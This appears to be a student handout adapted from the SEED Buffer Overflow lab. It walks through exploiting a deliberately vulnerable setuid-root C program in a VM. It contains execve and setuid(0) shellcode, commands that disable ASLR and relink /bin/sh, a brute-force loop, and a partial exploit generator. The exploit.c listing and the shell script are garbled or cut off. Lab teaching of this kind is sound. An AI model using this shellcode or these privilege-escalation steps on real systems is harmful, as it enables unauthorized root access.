Buffer Overflow Vulnerability Lab

Table of Contents

In this lab, students will be given a program with a buffer-overflow vulnerability,

Their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege.

In addition to the attacks, students should walk through several protection schemes that have been implemented in the operating system to counter against buffer-overflow attacks.

- Defeating dash's Countermeasure
- Defeating Address Randomization.
- Students need to evaluate whether the schemes work or not and explain why. This lab covers the following topics:
- Buffer overflow vulnerability and attack
- Stack layout in a function invocation
- Shellcode
- Address randomization
- Non-executable stack
- StackGuard

IMPORTANT NOTE: If in commands it is given $ symbol it should be in seed, # symbol it should be in root.

Task 1:Turning Off Countermeasures

You can execute the lab tasks using our pre-built Ubuntu virtual machines. Ubuntu and other Linux distributions have implemented several security mechanisms to make the buffer-overflow attack difficult.

To simplify our attacks, we need to disable them first. Later on, we will enable them one by one, and see whether our attack can still be successful.

Address Space Randomization.

Ubuntu and several other Linux-based systems uses address space randomization [2] to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable this feature using the following command:

$ sudo sysctl -w kernel.randomize_va_space=0

Provide your Screen shot with observation

Running the shellcode:

```
/* call_shellcode.c  */

/*A program that creates a file containing code for launching
shell*/
#include <stdlib.h>
#include <stdio.h>

const char code[] =
  "\x31\xc0"            /* xorl     %eax,%eax            */
  "\x50"                /* pushl    %eax                 */
  "\x68""//sh"          /* pushl    $0x68732f2f          */
  "\x68""/bin"          /* pushl    $0x6e69622f          */
  "\x89\xe3"            /* movl     %esp,%ebx            */
  "\x50"                /* pushl    %eax                 */
  "\x53"                /* pushl    %ebx                 */
  "\x89\xe1"            /* movl     %esp,%ecx            */
  "\x99"                /* cdq                           */
  "\xb0\x0b"            /* movb     $0x0b,%al            */
  "\xcd\x80"            /* int      $0x80                */
;
int main(int argc, char **argv)
{
   char
buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
```

}

Commands

```
$gcc call_shellcode.c -o call_shellcode -z execstack
$ls -l call_shellcode
$ ./call_shellcode
```

Provide your Screen shot with observation

Configuring /bin/sh (Ubuntu 16.04 VM only). In both Ubuntu 12.04 and Ubuntu 16.04 VMs, the /bin/sh symbolic link points to the /bin/dash shell. However, the dash program in these two VMs have an important difference. The dash shell in Ubuntu 16.04 has a countermeasure that prevents itself from being executed in a Set-UID process. Basically, if dash detects that it is executed in a Set-UID process, it immediately changes the effective user ID to the process's real user ID, essentially dropping the privilege. The dash program in Ubuntu 12.04 does not have this behavior.

Since our victim program is a Set-UID program, and our attack relies on running /bin/sh, the countermeasure in /bin/dash makes our attack more difficult. Therefore, we will link /bin/sh to another shell that does not have such a countermeasure (in later tasks, we will show that with a little bit more effort, the countermeasure in /bin/dash can be easily defeated). We have installed a shell program called zsh in our Ubuntu 16.04 VM. We use the following commands to link /bin/sh to zsh (there is no need to do these in Ubuntu 12.04):

```
$ sudo rm /bin/sh
$ sudo ln -s /bin/zsh /bin/sh
```

To get in to the root commands are:

```
$sudo chown root call_shellcode
$sudo chmod 4755 call_shellcode
$ ls -l call_shellcode
$ ./call_shellcode
```

Provide your Screen shot with observation

Task 2: Vulnerable Program

Write a shell code to invoke the shell. Run the program and describe your observations. Please do not forget to use the execstack option, which allows code to be executed from the stack; without this option, the program will fail.

following program, which has a buffer-overflow vulnerability, Your job is to exploit this vulnerability and gain the root privilege.

```
/* Vunlerable program: stack.c */
/* You can get this program from the lab's website */
#include <stdlib.h>
#include  <stdio.h>  #include
<string.h>
int bof(char *str)
{
char buffer[24];
/* The following statement has a buffer overflow
problem */ strcpy(buffer, str); À return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile; badfile =
fopen("badfile", "r"); fread(str,
sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
```

Compile the above vulnerable program. Do not forget to include the -fno-stack-protector and "-z execstack" options to turn off the StackGuard and the non-executable stack protections. After the compilation, we need to make the program a root-owned Set-UID program. We can achieve this by first change the ownership of the program to root (Line À), and then change the permission to 4755 to enable the Set-UID bit (Line Á). It should be noted that changing ownership must be done before turning on the Set-UID bit, because ownership change will cause the Set-UID bit to be turned off.

The above program has a buffer overflow vulnerability. It first reads an input from a file called badfile, and then passes this input to another buffer in the function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() is only 24 bytes long. Because strcpy() does not check boundaries, buffer overflow will occur. Since this program is a Set-root-UID program, if a normal user can exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be noted that the program gets its input from a file called badfile. This file is under users' control. Now, our objective is to create the contents for badfile, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

Set-UID bit because ownership change will cause the Set-UID bit to be turned off. This should be done as root.

$ gcc -o stack -z execstack -fno-stack-protector stack.c
$ sudo chmod 4755 stack A

Provide your Screen shot with observation

The above program has a buffer overflow vulnerability. It first reads an input from a file called badfile, and then passes this input to another buffer in the function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() is only 24 bytes long. Because strcpy() does not check boundaries, buffer overflow will occur. Since this program is a Set-root-UID program, if a normal user can exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be noted that the program gets its input from a file called badfile. This file is under users' control. Now, our objective is to create the contents for badfile, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

Task 3: Exploiting the Vulnerability

The goal of this code is to construct contents for badfile. In this code, the shellcode is given to you. You need to develop the rest.

1. shellcode
2. address of the shell

To find the address of the buffer variable in the bof() method , we will first complie a copy of stack.c program using debug flags.

$gcc stack.c -o stack_gdb -g -z execstack -fno-stack-protector
$ ls -l stack_gdb
$gdb stack_gdb
$b bof
$r
$ p &buffer
$p $ebp
$p ($ebp value - p &buffer value)

Provide your Screen shot with observation

We provide you with a partially completed exploit code called "exploit.c". The goal of this code is to construct contents for badfile. In this code, the shellcode is given to you. You need to develop the rest.

```
/* exploit.c */
Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl $0x68732f2f */
"\x68""/bin" /* Line 4: pushl $0x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb $0x0b,%al */
"\xcd\x80" /* Line 11: int $0x80 */
; /* A program that creates a file containing code for launching
shell */
#include <stdlib.h>
#include <stdio.h>
#include <string.h> char
shellcode[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /*
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction)
*/ SEED Labs – Buffer Overflow Vulnerability Lab
6 memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here
*/
/* ... Put your code here ... */
/* Save the contents to the file
"badfile" */ badfile =
fopen("./badfile", "w"); fwrite(buffer,
517, 1, badfile); fclose(badfile);
}
```

After you finish the above program, compile and run it. This will generate the contents for badfile. Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to get a root shell:

Important: Please compile your vulnerable program first. Please note that the program exploit.c, which generates the badfile, can be compiled with the default StackGuard protection enabled. This is because we are not going to overflow the buffer in this program.

We will be overflowing the buffer in stack.c, which is compiled with the StackGuard protection disabled.

$ gcc -o exploit exploit.c
$./exploit // create the badfile
$ hexdump -C badfile
$ ls – l stack
$./stack // launch the attack by running the vulnerable program # <----
Bingo! You've got a root shell!

Provide your Screen shot with observation

It should be noted that although you have obtained the "#" prompt, your real user id is still yourself (the effective user id is now root). You can check this by typing the following:

```
# id
uid=(500) euid=0(root)
realuid.c  program

void main()
{
Setuid(0);
System("/bin/sh");
}
```

Comands:
  $gcc realuid.c -o realuid
  $./stack

You should be going to the root # and you will be able to see Uid=1000 root and euid=0(root)

```
#./realuid
Uid =0(root)
```

Task 4: Defeating dash's Countermeasure

The countermeasure implemented in dash can be defeated. One approach is not to invoke /bin/sh in our shellcode; instead, we can invoke another shell program. This approach requires another shell program, such as zsh to be present in the system. Another approach is to change the real user ID of the victim process to zero before invoking the dash program. We can achieve this by invoking setuid(0) before executing execve() in the shellcode. In this task, we will use this approach. We will first change the /bin/sh symbolic link, so it points back to /bin/dash:

$ sudo rm /bin/sh
$ sudo ln -s /bin/dash /bin/sh
$ ls -l /bin/dash
$ ls -l /bin/sh

In root vm :/home/seed/Desktop/bufferoverflow
gcc dash shell_test.c -o dash_shell_test
#chmod 4755 dash_shell_test
#exit

Provide your Screen shot with observation

To see how the countermeasure in dash works and how to defeat it using the system call setuid(0), we write the following C program. We first comment out Line À and run the program as a Set-UID program (the owner should be root); please describe your observations. We then uncomment Line À and run the program again; please describe your observations.

```
// dash_shell_test.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h> int
main()
{
char *argv[2];
argv[0] = "/bin/sh";
argv[1] = NULL; //
setuid(0); À
execve("/bin/sh", argv, NULL);
return 0;
}
The above program can be compiled and set up using the following
commands (we need to make it root-owned Set-UID program):
$ ls -l dash_shell_test
$ ./dash_shell_test
$ ls -l dash_shell_test
$ ./dash_shell_test
```

root privilage

From the above experiment, we will see that seuid(0) makes a difference. Let us add the assembly code for invoking this system call at the beginning of our shellcode, before we invoke execve().

In root vm

```
# gcc call_shellcode.c -o call_shellcode -z execstack
# chmod 4755 call_shellcode
#exit
```

$cat call_shellcode.c char shellcode[] =

```
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x31\xdb" /* Line 2: xorl %ebx,%ebx */
"\xb0\xd5" /* Line 3: movb $0xd5,%al */
"\xcd\x80" /* Line 4: int $0x80 */
// ---- The code below is the same as the one in Task 2 ---
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"

commands:
$ ls -l dash_shell_test
$ ./dash_shell_test
```

Provide your Screen shot with observation

The updated shellcode adds 4 instructions: (1) set ebx to zero in Line 2, (2) set eax to 0xd5 via Line 1 and 3 (0xd5 is setuid()'s system call number), and (3) execute the system call in Line 4. Using this shellcode, we can attempt the attack on the vulnerable program when /bin/sh is linked to /bin/dash.
Using the above shellcode in exploit.c, try the attack from Task 2 again and see if you can get a root shell. Please describe and explain your results.

Task 5: Defeating Address Randomization

On 32-bit Linux machines, stacks only have 19 bits of entropy, which means the stack base address can have 219 = 524; 288 possibilities. This number is not that high and can be exhausted easily with the brute-force approach. In this task, we use such an approach to defeat the address randomization countermeasure on our 32-bit VM. First, we turn on the Ubuntu's address randomization using the following command. We run the same attack developed in Task 2. Please describe and explain your observation.

$ sudo /sbin/sysctl -w kernel.randomize_va_space=2

We then use the brute-force approach to attack the vulnerable program repeatedly, hoping that the address we put in the badfile can eventually be correct. You can use the following shell script to run the vulnerable program in an infinite loop. If your attack succeeds, the script will stop; otherwise, it will keep running. Please be patient, as this may take a while. Let it run overnight if needed. Please describe your observation.

Repeat the stack.c program and check the segmentation fault

Repeat the exploit.c program write infinite.sh program

```
#!/bin/bash
SECONDS=0
value=0
while [ 1 ]
do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
```

./stack done
when you execute infinite program, it should be telling you segmentation fault
$ ./infinite.sh
After this program will be running n no of times and it will give you root privilege

Task 6: Turn on the StackGuard Protection

Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection.
In our previous tasks, we disabled the StackGuard protection mechanism in GCC when compiling the programs. In this task, you may consider repeating task 1 in the presence of StackGuard. To do that, you should compile the program without the -fno-stack-protector option. For this task, you will recompile the vulnerable program, stack.c, to use GCC StackGuard, execute task 1 again, and report your observations. You may report any error messages you observe.

In GCC version 4.3.3 and above, StackGuard is enabled by default. Therefore, you have to disable StackGuard using the switch mentioned before. In earlier versions, it was disabled by default. If you use a older GCC version, you may not have to disable StackGuard.

kernel.randomize_va_space=o
gcc stack.c -o stack -z execstack
#chmod 4755stack
Exit

$./stack

Task 7: Turn on the Non-executable Stack Protection

Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection.

In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable program using the noexecstack option, and repeat the attack in Task 2. Can you get a shell? If not, what is the problem? How does this protection scheme make your attacks difficult? You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the nonexecutable stack protection.

gcc -o stack -fno-stack-protector -z noexecstack stack.c

It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting a buffer-overflow vulnerability. The return-to-libc attack is an example. We have designed a separate lab for that attack.

Observation: Every task need to be taken screen shot and give the clear description of the screen shot .

Submission:

You need to submit a detailed lab report to describe what you have done and what you have observed, including screenshots and code snippets. You also need to provide explanation to the observations that are interesting or surprising. You are encouraged to pursue further investigation.